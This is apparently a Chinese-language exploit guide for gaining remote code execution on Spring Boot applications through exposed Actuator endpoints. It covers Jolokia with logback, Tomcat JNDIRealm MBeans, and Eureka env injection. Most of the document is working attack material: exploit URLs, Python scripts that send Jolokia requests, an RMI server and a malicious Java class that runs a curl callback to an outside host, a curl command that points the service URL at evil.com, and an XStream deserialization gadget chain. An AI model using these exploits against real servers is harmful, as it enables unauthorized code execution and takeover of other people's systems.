Actuators to RCE
Actuators + jolokia
存在logback.xml
-
SpringBoot配置logback默认的文件名是
logback.xml或logback-spring.xml,但是也可以在application.properties里配置logging.config=classpath:logback-aaa.xml,这样logback的文件名就是logback-aaa.xml -
logback内容配置了
jmxConfigurator
比如下面的logback.xml配置:
<configuration>
<appender name="STDOUT" class="ch.qos.logback.core.ConsoleAppender">
<withJansi>true</withJansi>
<encoder>
<pattern>[%thread] %highlight(%-5level) %cyan(%logger{15}) - %msg %n</pattern>
</encoder>
</appender>
<root level="info">
<appender-ref ref="STDOUT" />
</root>
<jmxConfigurator/>
</configuration>
EXP:
http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/127.0.0.1:8888!/xxx.xml
xxx.xml内容:
<configuration>
<insertFromJNDI env-entry-name="rmi://127.0.0.1:1099/xxx" as="appName"/>
</configuration>
针对Java版本的JNDI注入,可自行Google,都有姿势可以绕过。
RMIServer.java
import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.Reference; import java.rmi.registry.Registry; import java.rmi.registry.LocateRegistry; public class RMIService { public static void main(String args[]) throws Exception { Registry registry = LocateRegistry.createRegistry(1099); Reference refObj = new Reference("EvilObject", "EvilObject", "http://test.joychou.org:8888/"); ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj); System.out.println("Binding 'refObjWrapper' to 'rmi://0.0.0.0:1099/xxx'"); registry.bind("xxx", refObjWrapper); } }
EvilObject.java
import java.lang.Runtime; import java.lang.Process; public class EvilObject { public EvilObject() { try{ // 要执行的命令 String commands = "curl http://rce.dnslog/joychou"; Process pc = Runtime.getRuntime().exec(commands); pc.waitFor(); } catch(Exception e){ e.printStackTrace(); } } public static void main(String[] argv) { EvilObject e = new EvilObject(); } }
不存在logback.xml
访问http://localhost:8080/jolokia,有response貌似可能就存在漏洞。
当然了,存在logback.xml也能使用下面的EXP。
EXP:
import requests as req import sys url = sys.argv[1] + "/jolokia/" print(url) create_JNDIrealm = { "mbean": "Tomcat:type=MBeanFactory", "type": "EXEC", "operation": "createJNDIRealm", "arguments": ["Tomcat:type=Engine"] } set_contextFactory = { "mbean": "Tomcat:realmPath=/realm0,type=Realm", "type": "WRITE", "attribute": "contextFactory", "value": "com.sun.jndi.rmi.registry.RegistryContextFactory" } set_connectionURL = { "mbean": "Tomcat:realmPath=/realm0,type=Realm", "type": "WRITE", "attribute": "connectionURL", "value": "rmi://test.joychou.org:1099/xxx" } stop_JNDIrealm = { "mbean": "Tomcat:realmPath=/realm0,type=Realm", "type": "EXEC", "operation": "stop", "arguments": [] } start = { "mbean": "Tomcat:realmPath=/realm0,type=Realm", "type": "EXEC", "operation": "start", "arguments": [] } expoloit = [create_JNDIrealm, set_contextFactory, set_connectionURL, stop_JNDIrealm, start] for i in expoloit: rep = req.post(url, json=i) print rep.json()
换成GET请求:
import requests as req import sys url = sys.argv[1] + "/jolokia" print(url) create_JNDIrealm = '/exec/Tomcat:type=MBeanFactory/createJNDIRealm/Tomcat:type=Engine' set_contextFactory = '/write/Tomcat:realmPath=!/realm0,type=Realm/contextFactory/com.sun.jndi.rmi.registry.RegistryContextFactory' set_connectionURL = '/write/Tomcat:realmPath=!/realm0,type=Realm/connectionURL/rmi:!/!/test.joychou.org:1099!/xxx' stop_JNDIrealm = '/exec/Tomcat:realmPath=!/realm0,type=Realm/stop/' start = '/exec/Tomcat:realmPath=!/realm0,type=Realm/start/' expoloit = [create_JNDIrealm, set_contextFactory, set_connectionURL, stop_JNDIrealm, start] for i in expoloit: rep = req.get(url + i) print rep.json()
Actuators + Spring Cloud
Application上要有注解@EnableEurekaClient,才能反序列化命令执行。没有注解也能设置env的值。
配置:
<dependency> <groupId>org.springframework.cloud</groupId> <artifactId>spring-cloud-starter-netflix-eureka-client</artifactId> <version>1.4.0.RELEASE</version> </dependency>
代码:
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.cloud.netflix.eureka.EnableEurekaClient;
@SpringBootApplication
@EnableEurekaClient
public class Application {
public static void main(String[] args) {
SpringApplication.run(Application.class, args);
}
}
EXP:
curl -d 'eureka.client.serviceUrl.defaultZone=http://evil.com/n/xstream' http://localhost:8090/env
http://evil.com/n/xstream 的Content-Type需要是application/xml格式,内容:
<linked-hash-set>
<jdk.nashorn.internal.objects.NativeString>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
</is>
</dataSource>
</dataHandler>
</value>
</jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>